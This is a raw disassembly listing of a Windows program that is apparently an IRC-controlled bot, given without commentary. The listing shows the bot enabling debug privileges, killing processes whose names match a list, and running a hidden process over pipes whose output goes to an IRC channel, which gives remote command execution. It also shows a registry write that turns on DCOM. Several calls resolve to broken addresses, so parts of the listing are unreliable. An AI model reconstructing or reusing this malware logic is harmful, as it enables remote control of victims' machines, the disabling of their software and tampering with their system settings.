loc_4199FB:				; CODE XREF: sub_4199AC+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A05:				; CODE XREF: sub_4199AC+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A0F:				; CODE XREF: sub_4199AC+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A19:				; CODE XREF: sub_4199AC+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A23:				; CODE XREF: sub_4199AC+1Aj
		sub	eax, 7Ch
		jz	short loc_419A50
		sub	eax, 7C8h
		jz	short loc_419A49
		dec	eax
		jz	short loc_419A3F
		dec	eax
		jnz	short loc_419AAD
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A3F:				; CODE XREF: sub_4199AC+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A49:				; CODE XREF: sub_4199AC+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A50:				; CODE XREF: sub_4199AC+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A57:				; CODE XREF: sub_4199AC+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A5E:				; CODE XREF: sub_4199AC+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_419A97
		jz	short loc_419A90
		sub	eax, 8ADh
		jz	short loc_419AC2
		dec	eax
		dec	eax
		jz	short loc_419A89
		dec	eax
		jz	short loc_419A82
		dec	eax
		dec	eax
		jnz	short loc_419AAD
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A82:				; CODE XREF: sub_4199AC+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A89:				; CODE XREF: sub_4199AC+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A90:				; CODE XREF: sub_4199AC+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A97:				; CODE XREF: sub_4199AC+B9j
		sub	eax, 8CAh
		jz	short loc_419AC9
		sub	eax, 17h
		jz	short loc_419AC2
		sub	eax, 25h
		jz	short loc_419ABB
		sub	eax, 29h
		jz	short loc_419AB4


loc_419AAD:				; CODE XREF: sub_4199AC+35j
					; sub_4199AC+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AB4:				; CODE XREF: sub_4199AC+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419ABB:				; CODE XREF: sub_4199AC+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC2:				; CODE XREF: sub_4199AC+C2j
					; sub_4199AC+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC9:				; CODE XREF: sub_4199AC+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419ACE:				; CODE XREF: sub_4199AC+40j
					; sub_4199AC+4Aj ...
		push	offset dword_4DB5E0
		call	sub_41C266
		pop	ecx
		mov	eax, offset dword_4DB5E0
		pop	ecx
		retn
sub_4199AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AE0	proc near		; CODE XREF: sub_401ACD+467Fp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0D4
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26F0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0B7
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB9E4
		test	eax, eax
		jnz	short loc_419B70
		mov	esi, offset dword_4DB3DC
		push	offset unk_43A20C
		push	esi
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_419B99
; ---------------------------------------------------------------------------


loc_419B70:				; CODE XREF: sub_419AE0+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_4199AC
		pop	ecx
		mov	esi, offset dword_4DB3DC
		push	eax
		push	offset dword_43A1E0
		push	esi
		call	sub_41C266
		add	esp, 14h


loc_419B99:				; CODE XREF: sub_419AE0+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419AE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B9E	proc near		; CODE XREF: sub_4172C1+45p
					; sub_4172C1+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 276073Dh
		push	eax
		call	dword_4CB9B8
		test	eax, eax
		jnz	short loc_419BBD
		leave
		retn
; ---------------------------------------------------------------------------


loc_419BBD:				; CODE XREF: sub_419B9E+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB990
		test	eax, eax
		jz	short loc_419BFB
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419BE4
		or	[ebp+var_8], 2
		jmp	short loc_419BE8
; ---------------------------------------------------------------------------


loc_419BE4:				; CODE XREF: sub_419B9E+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_419BE8:				; CODE XREF: sub_419B9E+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CBA40
		mov	esi, eax


loc_419BFB:				; CODE XREF: sub_419B9E+32j
		push	[ebp+var_4]
		nop
		call	near ptr 26808BBh
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419B9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C09	proc near		; CODE XREF: sub_401ACD+7770p
					; sub_419E38+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CB9F4, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_419E08
		cmp	dword_4CB9D8, ebx
		jz	loc_419E08
		cmp	dword_4CB8E8, ebx
		jz	loc_419E08
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CB9F4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_419DFB
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB9D8
		mov	esi, dword_427070
		test	eax, eax
		jz	loc_419DF6
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB8E8
		test	eax, eax
		jz	loc_419DF6
		mov	edi, dword_42708C
		mov	ebx, 1F0FFFh


loc_419CCD:				; CODE XREF: sub_419C09+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_419D34
		mov	[ebp+var_4], offset off_43A238


loc_419CDB:				; CODE XREF: sub_419C09+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	near ptr 2861BB3h
		nop
		test	eax, eax
		jz	short loc_419D03
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_43A298
		jb	short loc_419CDB
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D03:				; CODE XREF: sub_419C09+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419DDC
		push	0
		push	eax
		call	near ptr 2750975h
		nop
		test	eax, eax
		jnz	loc_419DDC


loc_419D2A:				; CODE XREF: sub_419C09+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D34:				; CODE XREF: sub_419C09+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_419DC7
		cmp	[ebp+arg_4], eax
		jz	loc_419DDC
		push	[ebp+var_128]
		push	8
		call	dword_4CB9F4
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_419D87
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB894
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419D8D
		lea	eax, [ebp+var_234]
		jmp	short loc_419D93
; ---------------------------------------------------------------------------


loc_419D87:				; CODE XREF: sub_419C09+15Cj
		push	[ebp+var_128]


loc_419D8D:				; CODE XREF: sub_419C09+174j
		lea	eax, [ebp+var_10C]


loc_419D93:				; CODE XREF: sub_419C09+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		jmp	loc_419D2A
; ---------------------------------------------------------------------------


loc_419DC7:				; CODE XREF: sub_419C09+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419E0F


loc_419DDC:				; CODE XREF: sub_419C09+F5j
					; sub_419C09+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB8E8
		test	eax, eax
		jnz	loc_419CCD
		xor	ebx, ebx


loc_419DF6:				; CODE XREF: sub_419C09+9Dj
					; sub_419C09+B3j
		push	[ebp+var_8]
		call	esi


loc_419DFB:				; CODE XREF: sub_419C09+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx


loc_419E08:				; CODE XREF: sub_419C09+3Aj
					; sub_419C09+46j ...
		xor	eax, eax


loc_419E0A:				; CODE XREF: sub_419C09+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419E0F:				; CODE XREF: sub_419C09+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		nop
		call	near ptr 2750975h
		test	eax, eax
		jnz	short loc_419E33
		push	edi
		call	esi
		jmp	short loc_419E08
; ---------------------------------------------------------------------------


loc_419E33:				; CODE XREF: sub_419C09+223j
		push	1
		pop	eax
		jmp	short loc_419E0A
sub_419C09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; DATA XREF: sub_401ACD+2687o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43A438
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_419E97
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419E97:				; CODE XREF: sub_419E38+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_419C09
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419EBF
		push	offset unk_43A414
		jmp	short loc_419EC4
; ---------------------------------------------------------------------------


loc_419EBF:				; CODE XREF: sub_419E38+7Ej
		push	offset unk_43A3F0


loc_419EC4:				; CODE XREF: sub_419E38+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_419EF7
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419EF7:				; CODE XREF: sub_419E38+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415D38
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 2710000h
		nop
		pop	edi
		pop	esi
sub_419E38	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419F16	proc near		; CODE XREF: sub_401ACD+7712p
					; sub_40B4F5+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 26B0000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_419F48
		push	0
		push	esi
		nop
		call	near ptr 2750975h
		test	eax, eax
		jnz	short loc_419F48
		push	esi
		xor	edi, edi
		nop
		call	near ptr 26808BBh


loc_419F48:				; CODE XREF: sub_419F16+1Aj
					; sub_419F16+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_419F16	endp

; ---------------------------------------------------------------------------
byte_419F4D	db 56h,	33h, 0F6h	; DATA XREF: ___:004015EEo
		dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 43A23435h
		dd 20E89000h, 0EB022867h
		db 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419F6D	proc near		; CODE XREF: sub_419F9D+2Ap
					; sub_419FD5+7Ep ...
		mov	eax, dword_4DBC48
		push	esi
		mov	esi, dword_427070
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F81
		push	eax
		call	esi


loc_419F81:				; CODE XREF: sub_419F6D+Fj
		mov	eax, dword_4DBC50
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F8E
		push	eax
		call	esi


loc_419F8E:				; CODE XREF: sub_419F6D+1Cj
		mov	eax, dword_4DBC44
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F9B
		push	eax
		call	esi


loc_419F9B:				; CODE XREF: sub_419F6D+29j
		pop	esi
		retn
sub_419F6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F9D	proc near		; CODE XREF: sub_401ACD+7475p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DBC4C
		call	near ptr 2740000h
		nop
		test	eax, eax
		jnz	short loc_419FD0
		call	sub_419F6D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419FD0:				; CODE XREF: sub_419F9D+28j
		push	1
		pop	eax
		leave
		retn
sub_419F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FD5	proc near		; CODE XREF: sub_41A05C+D3p
					; sub_41A05C+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43DB88
		push	[ebp+arg_4]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A018
		push	7D0h
		nop
		call	near ptr 26A068Bh
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41A02F
; ---------------------------------------------------------------------------


loc_41A018:				; CODE XREF: sub_419FD5+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_41A02F:				; CODE XREF: sub_419FD5+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		test	eax, eax
		jg	short loc_41A058
		call	sub_419F6D


loc_41A058:				; CODE XREF: sub_419FD5+7Cj
		xor	eax, eax
		leave
		retn
sub_419FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A05C	proc near		; DATA XREF: sub_41A1B1+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DBC54


loc_41A074:				; CODE XREF: sub_41A05C+79j
					; sub_41A05C+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DBC48
		call	near ptr 2870453h
		nop
		test	eax, eax
		jz	loc_41A142
		cmp	[ebp+var_4], edi
		jnz	short loc_41A0D7
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DBC44
		nop
		call	near ptr 2870000h
		test	eax, eax
		jz	short loc_41A0CD
		cmp	[ebp+var_8], 103h
		jnz	loc_41A166


loc_41A0CD:				; CODE XREF: sub_41A05C+62j
		push	0Ah
		nop
		call	near ptr 26A068Bh
		jmp	short loc_41A074
; ---------------------------------------------------------------------------


loc_41A0D7:				; CODE XREF: sub_41A05C+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41A0EE


loc_41A0DE:				; CODE XREF: sub_41A05C+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_41A13C
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41A0DE


loc_41A0EE:				; CODE XREF: sub_41A05C+80j
		mov	[ebp+var_4], esi


loc_41A0F1:				; CODE XREF: sub_41A05C+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DBC48
		nop
		call	near ptr 2730000h
		test	eax, eax
		jz	short loc_41A18E
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		add	esp, 0Ch
		jmp	loc_41A074
; ---------------------------------------------------------------------------


loc_41A13C:				; CODE XREF: sub_41A05C+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41A0F1
; ---------------------------------------------------------------------------


loc_41A142:				; CODE XREF: sub_41A05C+45j
		push	offset unk_43A4C0
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	1
		nop
		call	near ptr 2710000h


loc_41A166:				; CODE XREF: sub_41A05C+6Bj
		call	sub_419F6D
		push	offset unk_43A498
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	near ptr 2710000h
		nop


loc_41A18E:				; CODE XREF: sub_41A05C+C3j
		push	offset unk_43A468
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		nop
		call	near ptr 2710000h
sub_41A05C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1B1	proc near		; CODE XREF: sub_401ACD+24AAp

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419F6D
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_4346E0
		push	esi
		call	dword_4CBA90
		test	eax, eax
		jz	loc_41A2AB
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_427108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		mov	edi, dword_427104
		push	3
		push	esi
		push	esi
		push	offset dword_4DBC4C
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2760000h
		test	eax, eax
		jz	short loc_41A2AB
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43DB88
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2680B8Eh
		test	eax, eax
		jnz	short loc_41A2B3


loc_41A2AB:				; CODE XREF: sub_41A1B1+2Fj
					; sub_41A1B1+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41A361
; ---------------------------------------------------------------------------


loc_41A2B3:				; CODE XREF: sub_41A1B1+F8j
		push	[ebp+var_4]
		mov	edi, dword_427070
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DBC48, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DBC50, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DBC44, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DBC88, eax
		jz	short loc_41A2ED
		push	[ebp+arg_4]
		jmp	short loc_41A2EE
; ---------------------------------------------------------------------------


loc_41A2ED:				; CODE XREF: sub_41A1B1+135j
		push	ebx


loc_41A2EE:				; CODE XREF: sub_41A1B1+13Aj
		push	offset dword_4DBC54
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A524
		call	sub_40B3BA
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E918[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41A05C
		push	esi
		push	esi
		call	near ptr 26A06F9h
		nop
		cmp	eax, esi
		mov	dword_43E924[edi], eax
		jnz	short loc_41A35F
		nop
		call	near ptr 26B0669h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A4F0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_41A35F:				; CODE XREF: sub_41A1B1+185j
		xor	eax, eax


loc_41A361:				; CODE XREF: sub_41A1B1+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A1B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A366	proc near		; DATA XREF: sub_401ACD+2DC8o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41A3AD
		call	sub_41A3C6
		jmp	short loc_41A3B2
; ---------------------------------------------------------------------------


loc_41A3AD:				; CODE XREF: sub_41A366+3Ej
		call	sub_41A6EA


loc_41A3B2:				; CODE XREF: sub_41A366+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
		call	near ptr 2710000h
sub_41A366	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3C6	proc near		; CODE XREF: sub_41A366+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CBAA4, edi
		jnz	loc_41A4F8
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A451
		mov	ax, word_439298
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A433
		push	offset dword_43A7C0
		jmp	short loc_41A438
; ---------------------------------------------------------------------------


loc_41A433:				; CODE XREF: sub_41A3C6+64j
		push	offset dword_43A7A0


loc_41A438:				; CODE XREF: sub_41A3C6+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
